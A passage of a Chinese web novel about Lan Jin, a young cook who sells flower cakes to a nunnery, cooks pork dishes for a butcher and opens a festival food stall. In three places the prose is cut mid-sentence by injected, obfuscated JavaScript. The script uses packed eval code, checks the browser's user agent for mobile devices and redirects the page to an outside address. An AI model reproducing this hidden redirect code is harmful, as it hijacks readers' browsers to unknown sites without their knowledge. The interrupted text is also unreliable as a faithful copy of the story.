意识溜走之际，蓝锦模模糊糊好像有个东西没抓住，到底是什么没安顿好呢？ 她好像，忘了一件什么不一般的事情来着…… 4. 湘味炒鸡蛋 乡间清晨，鸟雀轻啼，松爽惬心。 蓝锦手下轻柔，轻拢慢捻。 彷佛捧着送财童子的两腮一样碾着豆沙，为娘娘庙踏青要带的五彩花糕做准备。 豆沙香甜细腻，不是红小豆自己的功劳，要和上油，掺上多多的白糖。 “猪头烂热双鱼鲜，豆沙甘松粉饵团。” 虽不是腊月二十四，也没有灶王爷为她停留。 但是拿甘甜细美的豆沙糕团，去祭娘娘庙的好心菩萨，总也不算辱没了吧！ 愿诸方神佛，不论是哪一个，路过的远行的，别嫌她临时抱佛脚，保佑她好运吧。 不提防手腕上抹了一道红豆沙，蓝锦一凝神，终于想起来了。 怎么忘记了这件顶顶重要的大隐患！ 山里那个奇怪的血人，是死了，是活了？ 她家的水壶，还在山洞那——不能叫别人认出来吧。 万一是江洋大盗，见了自己面孔，拿了自家东西，和她家有了牵扯怎么办？ 万一是死了，有人赖成她害了人命，这又如何？ 万一没死，悄悄地跟来家里，潜伏在周边，她们孤儿寡姐又独狗的，乍然怎么应付？ 虽然蓝锦知道，这很可能只是按捺不住的胡思乱想，但累积的直觉又使她隐隐不安。 她忍不住想去看看，才能安心，就跟那个杀人凶手总是会回到现场的心情似的…… 越想越不对了…… 蓝锦叫来小秋，没有选择隐瞒，而是一五一十，如是这般地都跟她说了： “……要是能收回来水壶，心里就像去了一块石头。” “但是这豆沙也同样重要，霍娘子同意帮我们牵线赚钱，不好食言的。” “所以我们兵分两路，看着豆沙的任务，就得交给小秋了。你要在家守好，千万不能离开的。” 小秋像个士兵一样，昂扬地挺起小肚子。 童真的小脸蛋上拼命做出一种严阵待命的神色，眉毛鼻子都皱作一处。 蓝锦抚平她的小脸，拍一拍她的肩膀。 犹豫了一下，叫小秋把屋门锁好，抱走了小狗。 她想，要是我有个山高水低，总得有个报信的人吧。 小狗窝在她怀里，很乖巧地不出一声，小鼻子耸动，机警地四下嗅嗅。 二人做贼一样，东爬西绕，远远地靠近了那天去的，长着花椒树的小山坳。 蓝锦并不近前，悄悄地探着。草木静谧，没有人迹。 逐渐靠近，周边也没有动静。 这才放下心来，爬到山洞前瞧瞧究竟。 拨开草丛，一捧草叶上有一个干净的空水壶，正是她家的那一个。 拿起来一看，其下还压着一枚未见过的玉坠子。 蓝锦拎着络子，对着阳光一看，瞧不出名堂，但是清透好看，是沁人心脾的碧色。 不是兵，是礼，这下蓝锦全然放松下来了——这就是“定会报答”的报答吧！ 这件事翻篇得还挺快，人麻利地走了，承诺麻利地兑现了，一来一往，两清干净。 回家告诉小妹这个好消息，家里又多了一笔傍身之财呢。 虽然按她们现在的情况，并不好拿出去典当——不被当作乍富的肥肉，就被看成溜门撬锁的强人了。 可是藏在手里，未必没有用上的一天啊。 带着这种轻松的心情，姐妹俩又突发奇想，捏出许多新式样的花糕。 有她们家的小白狗，还有昨天惨死人腹的走地鸡。 蓝锦索性凑个整，捏了一排十二个生肖娃娃。 有黑芝麻馅的，花生馅的，黑芝麻花生馅的，奶黄馅的，枣泥馅的，红豆沙馅的，和绿豆沙馅的。 可把蓝锦忙坏了，琐琐碎碎，调汁拌馅，做了一整天。 不敢想象据说很爱吃的妙清师太见了它们还怎么走得动道！ 没看到小秋拍手，小狗摇尾么！ 蓝锦捏完了最后一朵山茶花，细心地把一篮花糕放入井中，像湃西瓜一样镇着。 把那篮子挣来的鸡蛋挑出几个煮了，几个打散，打算给自家做个简餐。 取了些姜、蒜苗洗净切末，又先拿出一两粒前儿做的泡椒，一小根红辣椒，切得碎碎的。 水煮蛋捞出过了遍凉水，逐个剥皮，在干净盘子里薄撒一层淀粉，拿根棉线把鸡蛋切成片摆上。 表面再薄撒一层，遂起锅烧油。 蓝锦用勺背小心地把鸡蛋片推到锅里。 “刺啦”一声，煮熟的蛋表面被煎出了一层薄薄的脆壳，焦黄可人。 香啊！ 待到两面皆是焦脆，盛出来补点油，放入蒜末、辣椒和姜末，大火爆得香香的。 复又倒入煎好的鸡蛋片，撒盐调味，翻炒浸匀。 每一片鸡蛋都裹上了红红的辣椒和金黄的姜末，又被撒上了青蒜末，泡椒碎，和新鲜的鱼酱。 辣香、蛋香，颜色鲜艳勾人口水，正下饭！ 再快手快脚地做出一个番茄豆腐鸡蛋汤。 番茄是提前炒出沙的，蛋花是像云像雾一样翩跹的，豆腐是水嫩嫩、白嘟嘟的。 汤味咸淡适宜，汤色又是清透净亮的，最后缀上一撮点睛的小葱花。 疲累了一天的三人——两人一狗——没有不被勾起来食欲的！ 圆润完整的蛋黄与蛋白铺满了整盘子，带着浅褐的脆皮。 伴着红红的辣椒，炒得黄棕棕的姜蒜苗，油香诱人。 素汤热气腾腾，嫩白的豆腐藏在嫣红的浓汤下，刚露出脸就被浅黄的鸡蛋花遮在后面。 绿油油的小葱漂亮，偏还很香。 小秋在一旁盛着饭，不忘给陪姐姐探险的小狗也张罗了点吃的。 她想，你和我一样，也是家里的大功臣唷。 小秋夹了一片鸡蛋，好奇地研究了一会，才放进嘴里。 小腮帮子嚼嚼嚼，往嘴里扒了一大口米饭。 “又辣！又好吃！姐姐，你太厉害了吧。”小秋含含糊糊地大口吃着。 蓝锦嘴巴不停，只跟她对一对眼神。 “像吃一盘子荷包蛋一样！”小秋筷子不停，一口接着一口。 “识货！识货！”蓝锦满嘴蛋裹饭，得意地冲小妹一挑眉。 一筷子下去，咸香的，脆口的，油焦的，偏还掺了米饭的。 鸡蛋本身就是极鲜美的，又加上另一样的鱼鲜味，更何况还有一种辣辣的爽口。 这辣味还是复杂的，有层次的。 留在舌面的不仅有红辣椒的辣，还有腌渍了的泡椒香味，使其更加特别。 满足！蓝锦很满足！ 要是花糕卖出了价格，就能做出更多好吃的菜色，忍不住期待起来了呢。 蓝锦心中的小人窝在桌子前，贼眉鼠眼地：“嘿嘿，嘿嘿……” 第二天一早，蓝锦携着篮子，拉着小妹。小妹抱着小狗，背着小筐。 几个黄鹂鸟一样的小姑娘把她们团团围住，水粉裙子的，透绿汗衫的，嫩黄头巾的。 “呀，这是什么味道啊，真香啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090772|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “花糕竟然有股油香味，就跟肉似的。” 蓝锦“扑哧”一声，掀开小妹背着的背篓。 “这可不是花糕，是我们专门为大家准备的零嘴，路上吃。” 几人相携上了驴车，霍旭云已是迫不及待地滑出娘亲的手臂，钻到蓝锦姐妹身边。 “蓝姐姐，什么好东西，快给我尝尝吧。” 蓝锦捧出一杯金黄的物什——这也有巧思。 是她返回“凶杀现场”的那天，拿防身的斧子砍下的竹子。各个竹节削洗干净，正适宜外带。 矮的小盒，打开一看，正是她前些日子做的番茄酱。 “这个叫作薯条，这个叫作薯片，小娘子们尝尝看。” 蓝锦大方地往前一递，并不多做介绍，只等大家的反应。 霍旭云可并不管那许多，拿起一片扔进嘴里，“咔嚓咔嚓咔嚓”。 脆！咸香！想嗦手指！ 一旁黄芙蓉鸟似的小娘子率先拈起一根薯条，在蓝锦的示意下蘸了一点番茄酱。 “好吃！从没吃过这样的酥点。” “外面脆脆的，却又不像酥果子一样扎嘴，内芯里，还要软软的，比鸡蛋糕还软香呢。” 瞬间五六只手一拥而上。 “我爱这红酱，酸甜好味，胜过山楂许多！这酱，我能空口吃，配十个馍馍。” 蓝舞蝶一样的小娘子摇头晃脑，满满的番茄酱险些把薯条压弯了。 众人一阵哄笑。 小秋不语，只是一味地吃——她有自己独一份，正抱在怀里。 拜蓝锦刀工所赐，金黄的薯片切得薄薄的，每一片都透着油，沁满了盐味。 嚼上一口，唯有是香！唯有是脆！ 薯条外酥里软，上面薄薄撒了盐粒。 怕冷了失了味道，蓝锦炸得不多，一会功夫就被席卷一空。 听了蓝锦解释，众人喟叹，又去向薯片下手。 一时间车上没有人说话，只有嚼嚼嚼—— 嚼嚼嚼—— 就这样到了娘娘庙，已有女尼依了日子在门口迎接，这厢奇道： “今日可不一般，各位施主竟没了谈性，不似往日车未至山门，就听见动静了呢。” 霍旭云上前一步，把蓝锦留出来的一盒薯片递给她。 “不是我们不一般，是蓝小娘子不一般！这是素的，小师父们都尝尝？” 玄停犹豫一瞬，终究被吸引，金灿灿的，香香的！ 于是她也——嚼嚼嚼，嚼嚼嚼。 这边蓝锦已由霍娘子引着与妙清师太见上了面。 甫一见花糕，她果真走不动道了，直叫人去唤自己的师姐妙华，不待蓝锦开口，已经提议： “蓝施主，这花糕可卖？可能做更多？” 蓝锦对上霍娘子的笑眼，果然呢，却不知道会给自己开什么样的价码。 遂笑着邀请妙清：“不急，师太先尝尝看。” 这好花糕，外皮暄软却薄，因着果蔬调色有种自然清香。 内里乾坤更甚，有层叠的果仁味和芝麻香。 一口咬下去，直咬到满嘴的馅，甜香细润，充满了口腔。 妙华师太一来，果被一簇簇花花哨哨的糕团夺了目光。 她作为主持，向来要稳重，不似师妹妙清好些口腹之道。 却很知道礼佛人家看重的，簇锦攒花的彩头和名目。 更何况，看妙清的吃相，这不仅仅是样子货呢。 她清清嗓子，正要开口。 5. 五福全禄饺 只见妙清拿起一朵茉莉花糕，抢在妙华的前头开了口。 “师姐，皮子暄糯好口感，豆馅细腻还有嚼头，芝麻花生清香，和别家都不一样，连我也不曾吃过！” “依我看，几十文一个也买得！” 蓝锦瞠目，没有见过这么……额……赤诚的方外人。 妙华扶额，只是唯唯：“噢，噢！” 蓝锦上前一步，伸手扶住妙清。 “难得师太喜欢，除了这些，时鲜好果，无一不能入馅。” “方才院中的月季、荷花，洗净用糖渍了，我都能炮制。” 妙清一拊掌，朗声道：“小娘子好见地，不错不错！” “万物应时而生，皆是天才地宝，无一不珍，我等应天时而食，道亦在其中矣！” 蓝锦心下好笑，妙清师太，我看你的知识都学杂啦！ 难不成还真是一个爱吃的痴人呢。 妙华：“……” 蓝锦笑着开了口：“多谢二位师太赏识。我这花糕有无尽样式，无尽馅料，本身也是看得也吃得。” “不敢要几十文这样的高价，但十文一枚，自信还是能值上的，不知二位师太意下如何？” 妙华想想可能的远名，想想富庶人家的随喜礼，面上已有意动。 两下不是拖沓人，几番商议，利落地签了契约。 十文一枚花糕，每月定下二百枚，须印着“蓝”字花签送出。 月初付上两成定钱，月末结款，违约亦赔当月两成。有额外需求，尽管提前三日来订。 蓝锦心下计算，每月除去成本，总能赚上一千多文。 虽是辛苦了些，已是一个了不得的进项了！ 怀揣着这五百五十文钱——妙清师太执意要付今天的花糕钱——蓝锦胸口有个小兔子在咄咄咄地跳。 第一笔回头财！ 近晌午了，蓝锦和小妹、小狗并未随着大部队回家。 因着妙清师太蹭了小师父们的薯片后，盛邀她尝尝自己做的五福全禄饺。 又像只小猫似的绕着她问糖渍鲜花的事。 蓝锦被缠得没法子，答应她今天便做一种试试。 霍旭云腻歪着蓝姐姐，也要留下来尝尝。 她一贯贪玩，这已不是第一次。 霍娘子事情一了，先行归家，与妙华知会一声，届时有庵中的车马送她们回家。 妙清师太赶着去整治饺子馅，霍旭云便留在院中，与蓝锦一道淘洗荷花瓣。 “霍妹妹，我才发觉，你姓霍，你娘也姓霍呢！” 蓝锦手捧荷花，不错眼地揪去绒丝。 霍旭云往嘴中放了一大口薯片——她留了又留，这是最后的一点了——爽朗地开口： “嗨，蓝姐姐不知道，我娘，她是娶了我爹的呢！” 蓝锦却没料想到这一点，很没见识地吃了一惊。 “嗳，霍娘子原是这样有魄力的人呢。” 蓝锦停下手中的活计，瞪大了眼睛问。 “这可算什么，我娘出身大家，本是要去考女学的。她名叫鸿飞，生来就是要鹏程万里的。” “只是外公犯了事，连累家小，一撒手走了；外婆病重，我阿娘寻医访药到她过身。” “两厢耽误，终究是不成了。” 蓝锦听了，继续揉着花瓣，心中也是恻然：“霍娘子也是很坚强的一个娘子呢。” “庙堂上早就没了霍姓位置，往日姻亲故旧四散躲了。” “我阿娘百般法子都试了，心灰意冷，一人回到庄子上，这才叫我爹钻上空子。” 蓝锦本来有些哀伤，听到此处，生生被岔开了。 “你倒说说，是怎么钻的空子？”蓝锦笑着问。 “你别看他仪表堂堂的一个人，可会伏底做小了。” “虽然啊，他抠门又胆小，好在心肠柔善，且有一个最大的好处——长得不错，是我阿娘喜欢的脸蛋身形。” 蓝锦笑喷了，霍小娘子，你懂的也蛮多的嘛！ “蓝姐姐你别笑啊，我阿娘同我讲，她以前的闺阁交，十二个面首的都有得，她养一个怎么了。” “于是我娘就说，求娶就不必了，我娶你可以。” 继续听着霍小娘子絮絮，蓝锦渐渐猜测出了事情的大概。 霍家出事的那一年，太后娘家出了丑事，却没被按下，张扬了出来。 明眼人都知道，这是有人跟那位打擂台呢。 一时连朝中的女官都不好过了起来，她们原是太后一手扶持起来的！ 霍家一朝失势，只因他们是众目昭彰的后党。 别吵，好像要长出脑子来了。 在她看来，纪村长嫁人，也不是什么冒天下大不韪的赔本买卖。 若是太后娘娘起势，尊高霍家娘子，可不是提前声援着吗。 蓝锦笑问道：“既然没了霍姓的位置，那么你姓了霍，心中会担忧吗？” 霍旭云跳下桌子：“我不怕，这是我阿娘的姓嘛，还更好听呢！” “蓝姐姐你没见过，我阿娘一手办起了学堂，好些人来听她讲学。” “她还常来这娘娘庙设道场，从没有人说过她的不好呢。” 蓝锦心中升起不小的感佩，她想，霍娘子这也是隐逸山林的大家了，却还造福一方，谁说这不是一种道呢？ 花瓣用糖渍上了，现下已经沁出了些香甜的汁子。 蓝锦想起自己还带了蘑菇粉，便一起拿着去后院寻妙清师太。 蘑菇是蓝锦去后山采的，在火上焙得干干的，用杵臼磨成粉，就是纯天然的味精了。 妙清师太和好了面，也是盆光、面光，盖上醒发着，正调着饺子馅。 绿生生的小青菜是洗净切碎，挤干净了水的，已往里撒了点盐拌匀，在盆里放着浸味。 肉乎乎的香菇被洗净去了蒂，细细切碎了的。 胡萝卜、粉条、香干也是这般，被切成差不多大小的碎丁。 蓝锦打眼一看，便知妙清师太不仅爱吃，做起食物来也是相当有章法的。 于是从怀中掏出一个小瓷瓶，开口道： “师太，我这里正好有带了新做的山菇粉，素馅提鲜是再好不过的了，师太不妨一试。” 妙清眼睛一亮，放下手中装着青菜的盆，珍重地上前接过，口中谢道： “蓝小娘子于饮食一道真是大家，造诣颇深的。” 说罢就要将各色碎丁拌在一起，试试这山菇粉。 蓝锦抬手阻止了她，说道：“若是起个热油锅，把香菇碎、胡萝卜碎翻炒一下，更为得宜。” “这两种蔬菜就是要过油炒一下，才能激发出别样的香味，吃起来不输许多肉食。” 妙清一拍手，依言照做，蓝锦已是接过了手。颠锅控火，不在话下。 不过几瞬，便把灶台交还给了妙清。 妙清一边“妙啊妙啊”感叹不停，一边将碎丁都倒进盆里。 逐次撒盐、糖、姜末和菇粉调味，最后又点缀几滴芝麻油。 “好香啊。”蓝锦一回头，门框边整整齐齐冒出一排小圆脑袋，“现在可以吃吗？” “都进来，都进来，一起包，包了就能吃。”妙清头也不抬。 一边回答，一边利落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090773|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取出面团，撮条切块，在面粉上一滚，擀成圆圆的饺子皮。 众人一番忙碌，人多手快，满桌的饺子个大馅满。 等锅里烧开了水，把小白船一样的饺子挨个滑进锅里。 一群圆脑袋复又围住灶台，直等到饺子个个浮起，胖肚里的馅料颜色隐隐透出。 一个个眼巴巴地盯住：“师太，你今天又做了好多功德，好多道！” “蓝施主才是功德娘娘，你们有这好口福，都是拜她所赐。” 妙清挤开一群嗡嗡的小马蜂，把饺子盛出来端走。 马蜂群一溜烟地围着跟去了饭堂。 刚出锅的饺子甫一咬开，颇有层次的香味就直冲鼻尖。 香菇沁了油，香干也极有存在感，肉头头地咬着，艮啾啾的叫人嚼了又嚼。 胡萝卜爽脆，不见生味，只有香味。 粉条弹牙，裹足了味。 青菜的清香一掺，菇粉鲜，菜蔬鲜，鲜得眉毛都要掉了！ “好吃好吃！又香又鲜又好吃。”小秋和旭云话都顾不上说清楚，埋头只是吃。 蓝锦一点小妹的小额头，再一看满座的大小师父们，也是个个吃得见人不见碗。 “美味，唔，真美味，鲈肥菰脆调羹美，荞熟油新作饼香，不及此物鲜呐……” 吃得最投入的还属妙清师太本人，摇头细品，眉毛快跳上天了。 妙华：“……” 如此一番厮闹，妙清对着蓝锦的糖渍荷花，寻出自己造的好酱油做谢礼，诚邀她得空还来吃自己研究的饭食。 终是依依惜别，远眺挥手地目送蓝锦一行人归了家。 蓝锦心中欢喜，深觉像是以文会友似的，凭手艺得了一个知音呢。 林林总总忙了半天，日头西斜，蓝锦坐在家门口，摇着扇子，看着天边几笔闲云。 现在有了本钱，她忖度着，是不是再把名声打打响，扩大一些经营？ 远远地来了一个高个大汉，单手扛着半扇排骨，拎着满手的东西往自家走来。 “蓝小娘子，你不识得我，我是姜大武的邻家，叫姜克松，干的是杀猪行当。” 来人把排骨换成双手捧着，放下一大罐猪油，手里还拎着几个猪蹄，一些猪下水。 这可是个大单。 “原来是姜大叔，您这是也来找我做菜？快请进来。” 蓝锦一看就懂，起身相迎，面上有了喜色。 “正是如此，蓝小娘子，你是不知道！” 姜克松不急着说做菜的事，却夸起了那天的柴火鸡。 “却不知你是怎么想出来的，那鸡肉脱了骨，吃起来一口接一口的鲜！” “汤又滑，哎哎，香菇也好吃，不跟我说啊，我还以为是肉呢！” “满桌人抢着，我可恨不得把骨头也吃了，那香的，我还差点还咬了舌头！” 姜克松放下东西，把手一摊，说得起劲。 蓝锦脸上漾开笑意：“可见姜大叔有口福，又有眼光，才让我的菜对了您的胃口。” “可不止对我的胃口，要是去外头打听打听，好多人都知道了，有个蓝小娘子，做得一手好饭食！” 姜克松满面红光，只道：“所以我今天来，正是请蓝小娘子让我们打打牙祭。” “就这些，你看着做，要多少辛苦钱，你开价！” 蓝锦看着排骨，心里有了主意。 洗洗剁剁，烹油浇汁，几个灶头一齐动作，没过多久就整治好了一桌硬菜。 姜克松已经跟小秋玩上了，几下帮她削出一个弹弓。 闻着香味，二人都围了上来。 6. 黄豆焖猪脚 一道红烧排骨，糖色炒得极好，浓油赤酱，汁亮芡滑。 一点黏糊汤汁，正好适合拌饭。 一道嫩炒猪肝，青红辣椒托着绛红色的猪肝片，油汪汪，嫩生生，青蒜苗混合着肉香。 爆炒出来的锅气霸道极了，辣得刺激，直往人鼻子里钻。 一道干蒸小排，焦黄的排骨肉铺满盘底，上撒青青绿绿的小葱花。 盘底早已没了水分，刚出锅的油还在滋滋冒泡。 这其中有蓝锦的许多设计。 客人拿来的排骨量大，不若精心分了部位，做出两道菜。 一样顾着满口流油、脑满肠肥的满足感，一样顾着调味精准、质地娇嫩的火候功夫。 至于这猪肝嘛，可是好东西，多少人偏爱做一道猪肝汤，思量它能补气血呢。 但蓝锦更爱热烘烘地去炒它，炒得个挂汁入味的，还特别能彰显下厨之人的本事。 姜克松并不是那含蓄人，他把手往怀里一伸，不知从哪寻摸出一副筷子。 口中对着蓝锦说话，眼睛却没功夫看向她：“蓝小娘子，我这，我这可等不及要开始吃了！” 蓝锦给他搬了个板凳，邀请道：“尽管试，肯定让您满意，包的！” 姜克松一坐定，率先伸筷向那嫩炒猪肝。 口中急急地咀嚼，“嗯”个不停。 却来不及开口说话，筷子一拐弯又去夹那红烧排骨。 亮津津的贴骨肉还带了点弹性。 迫不及待地放进嘴里，油滋滋的，肉烂，不柴，香得真扎实！ 干蒸小排也香极了，嫩得紧，却极入味。 姜克松先嚼后抿，把个骨头都嗦了又嗦，直到连狗都不愿去啃的程度。 只恨没有米饭！ 全都尝过一遍，惦记着家里，他到底还是放下了筷子，已经开始手舞足蹈。 “妙极了！好极了！我看那姜大武，他也有没尝过的东西，这下还是我先有口福！” “我最爱这道猪肝，哎~家里常吃的，从前都料理不好。” “叫小娘子你这一炒，嘿，吃起来嫩中带脆的，油香滑溜，跟吃豆腐似的，一点腥膻都没有。” “没有血味就罢了，难得，一点都不见老。咸，辣，够味，好吃！” 又指着那道干蒸排骨：“这做法我还是第一次吃，你真是神了，都是怎么想出来的！” “那红烧排骨，谁家没做过欸，啧啧，比起你这个，白送人都不要了。” 他大手一挥地总结道：“我也是吃过不少猪肉了，没有哪个像你做的这样好吃。” “你就算去城里开食店，那都不在话下！” 蓝锦心花怒放，只说道：“家里灶头还是少了，还有两个猪蹄没做。” “您要是等得及，这就做上；要是等不及，我就腌上明天再做也是一样的。” “就这些，就这些”，姜克松把手往面前一伸，空按了几按，急急地把菜拾进蓝锦给的食盒。 “我可等不及了，这就得家去配上一大碗饭才行。蓝小娘子，那猪蹄，这次就送你了！” 说罢，撂下几串钱，狗撵似地跑远了。 姜大武一家张罗着宴客大出风头，当他家不会么！ 他赶着回去和媳妇商量，今晚，还要专门请那姜大武和齐青娘过来！ 蓝锦追出门去，哪里还有人影，一拐弯就没了。 转回屋里把钱一数，比他们商量好的还多十文。 世上还是好人多啊哈哈哈哈，小金库又添一笔进账。 蓝锦叫那城里食店的吹捧挠得心头痒痒，蠢蠢欲动，哼着不成调的小曲收拾着猪蹄。 难得的机会，她要给自家也做道大菜，打打牙祭。 黄澄澄的豆子洗过沥水，锅里不放油，直接下去炒出香味。 蓝锦也吃过那种自家做的炒豆子，只用些许薄盐，大锅翻炒，一咬就嘎嘣脆。 嚼得越久，浓浓的豆香越充满口腔，甜甜的。 再把猪蹄用火燎过，添冷水下锅，加些去腥增香的葱姜米酒。 等焯好水，捞出白生生的猪蹄，还得用热水洗洗干净。 蓝锦是炒糖色的一把好手，油温激发焦糖香味，殷红透亮。 把白白的猪蹄和葱、姜、辣椒、香料、酱油往锅里一倒，直炒到猪蹄完全变色，成油亮亮的棕黄色。 添进热水，香喷喷地炖上小半个时辰，各种调料的味道就沁进了猪蹄。 蓝锦把炒香的黄豆倒进去，小火咕嘟着。 又过了快半个时辰，猪蹄皮也耙了，肉也烂了，已经变成了深深的酱红色。 每一块都油光发亮，香味更盛。 这时候添些盐，用大火把炖猪蹄的汤汁收得浓浓的，粘粘的。 猪蹄的胶质全锁在这一大盘子里，用筷子毫不费力地就能扯下一块皮。 抖一下，又弹又糯，还挂着粘稠的汁。 铺一层到米饭上，再浇上一层裹着黄豆的汁。 酱色的汤顺着软糯赤红的猪蹄流到白米饭里，每一颗米粒都浸满了肉汁的味道。 这菜如果放到现代，高低也是一个饭馆里的扫地僧，值得凌晨一点爬起来排队的那种！ 半夜轰隆隆地下起暴雨，蓝锦躲在被窝里数她的小金库。一串，两串，三串…… 自从接了姜氏邻里的做菜单子，托他们两家打擂台的福，很是在十里八乡宣传了一把蓝小娘子的厨艺。 隔三岔五就有人找上门来央她做菜，攒下来不少银钱，也就是天气不好的时候才得一得闲。 七霞村这里地处京畿，隶属京州下辖的昭应县。 京州一共只有两个京县，万年县在天都以北，昭应县在天都以南。 故而此地虽是乡村，却并非天高皇帝远。 没听闻昭应县往北向都城去的官道上，总有农户脚夫，当路卖酒，做一做这歇马杯的生意吗？ 只是从慈明寺往南，皆属外郭，阡陌交错的乡村，仍多以农耕为主。 她想开食店，还得进城！ 蓝锦细细打听过，这城里和乡户，连同建筑式样，交通工具，日常饮食，都未见有什么天堑似的分别。 郊区市镇，乡村草集，三坊七市，各有各的繁华。 就连官家用的新奇果蔬，农产副食，薪炭煤柴，也常有去庄子上运的呢。 既然乡村户的生意她做得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090774|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那坊郭户的生意，未见得就不行。 只待过几日天放晴，路上的泥巴干一干，她就动身往这昭应县城一探究竟。 还有这干稻草，糙麻布，也给换换干净！ 这天，蓝锦顺道送完一批豆沙花糕，结清银钱。 把小秋撇在娘娘庙随霍家母女玩耍，轻车简从地往昭应县去了。 妙清笑眯眯地相送，跟她讲畅销的好花糕——嗳，现在叫“蓝氏无尽藏”。 这是妙清起的名字，取无尽馅又无尽道之意。现正伴着“蓝”字花签，飞入各户富庶人家。 妙华也笑眯眯地露了面——想想那坠手的随喜礼，她没有不喜的。 妙清拉着她的手不放，仍在碎碎念。 “……定要去那城东，靠城门有家顶好的阳春面，汤清味浓，面有骨性，很有嚼头。” “再去如意楼，别的还罢了，就吃那道酒糟熏鱼，倒有茉莉味！” 又想起来什么似的，声音渐渐低了下去，把眼一觑旁边的妙华师太。 妙华双手合十，把眼一闭，只当没听见！ 妙清声音就又高回去了。 “然后就去城北的兴善邨，吃那咸糯米烧卖。” “里头揉了猪油，头顶着片腊肠，肚阔腰圆的，有笋丁肉丁，要紧的是还有一颗咸鸭蛋黄。” “那咸甜调味，哎呀，小娘子你吃了才懂！” “待你回转，绕去城西吃一家冷拌面，不要小瞧了去，它那麻酱裹得好筋道面条，咸香弹牙的。” “配一碗两家店开外的胡椒羊肉汤，哎哟，你这一天可值啦！” 妙华终究是装不下去了，清咳几声，转头进去了。 妙清对着蓝锦耸一耸肩，嘿嘿一笑。 蓝锦也给她一个“我都懂”的笑容，拍了拍她的手：“师太放心，能带的我都给你带一份！” 妙清却不好意思了起来：“那倒不必的，我只想让小娘子尝尝看，都是我心里爱极了的。” 蓝锦依言记下，背了满肩沉甸甸的妙清心头好，动身往北去了。 城里果真热闹，如妙清惦记的那样，吃食生意花样繁多。 蓝锦逛了一圈，甭管是卖阳春面的小摊，售羊肉汤的小馆，还是小有规模的如意酒楼，都试过了。 确实各有其妙。 然而小本生意常常只做一种吃食，对食客来说胜在价廉管饱，老板们也就赚个辛苦钱。 人坐在大酒楼，倒是能多点几种菜。只是所费颇丰，不是百姓人家日常消费得起的。 对市场水平有了数，蓝锦心中稍定。 她这生意，能做。就算引车卖浆，凭她的手艺，狐裘也能积得！ 主意一定，蓝锦立时行动起来，四处置办行头，采买所需。 虽然存款不丰，蓝锦对于订鲜货、买家伙什，毫不含糊。 浑把那干稻草、硬麻布的事抛到了九霄云外。 甫一从商肆出来，蓝锦就瞧见敲锣打鼓的一行人，贴了张大红布告。 绕过围观的人群，蓝锦踮起脚尖努力抛眼一瞧： 本月十六日，抢包山！ 她知道这生意的第一站，往哪里去做了。 7. 灌饼酸辣汤 蓝锦赶忙上前一步，细细看那告示。 所谓抢包山，就是由官府发起、慈明寺承办，承旧俗、祈丰年的一项盛会。 看那告示上的绘样，是用木架支起一座塔楼状的高台，四方系有绳梯。 信众用自家面粉蒸了包子，供奉佛前，然后垒于塔上。 参赛勇者争先登高，争抢最高位的大包。 同那赛百戏、划龙舟一样，都是官民同乐的盛事。 届时必定是人声鼎沸，远客近邻汇集城中，自然少不了贪吃的小郎君和小娘子。 何况抢包山可是个体力活，壮士们休息之际，不会拒绝来口新鲜吃食恢复力气。 摇旗呐喊的亲友团们，也不能抵挡阵阵飘香的小吃诱惑。 为便于以后赶早进城，蓝锦紧赶慢赶地回了娘娘庙，商定借住事宜，马不停蹄地归家张罗备料了。 “鸡蛋灌饼嘞~开胃酸辣汤~” “千金卤水嘞~猪心肝肺腰~” 行人皆被这怪模怪样的吆喝吸引住了脚步，饼知道，灌饼是什么？ 汤都喝过，酸辣是怎么个做法？ 说着有猪下水，可这小摊并没有半点腥膻味，嗯，却还有一股复杂的肉香。 锣鼓未动，抢包山还未开始。 闲散的众人被香味留住，逐渐围在蓝锦的小摊前，盯着上头飘动的价签条。 上书蓝记猪油酥饼，五文，加一个鸡蛋两文，加各色小食每样五文。 蓝记酸辣汤，一碗五文。 还有蓝记卤味，卤猪心，卤猪肝，卤猪肺，卤猪腰，十五文一份，丰俭由人。 蓝锦并不受人群影响，继续甜笑着吆喝。 “夺夺”地打散一个鸡蛋，撒葱花调料一气呵成。 手下又快又准，“咻咻”地团出一个油面团，按平成饼，撒满白芝麻，往那热腾腾的鏊炉上一摊。 “哧”地一声，柔软的饼皮受热，颤颤地抖动起来。 两面被这油滋滋地一煎，白玉似的软面浮光跃金，直变成一个鼓起来的小山包。 蓝锦一手拿着一个窄窄的小木板，一手按着薄饼飞速旋转。 看客眼花缭乱之际，蛋液已跟小瀑布似地钻进了饼芯。噢，原来这么个灌法！ 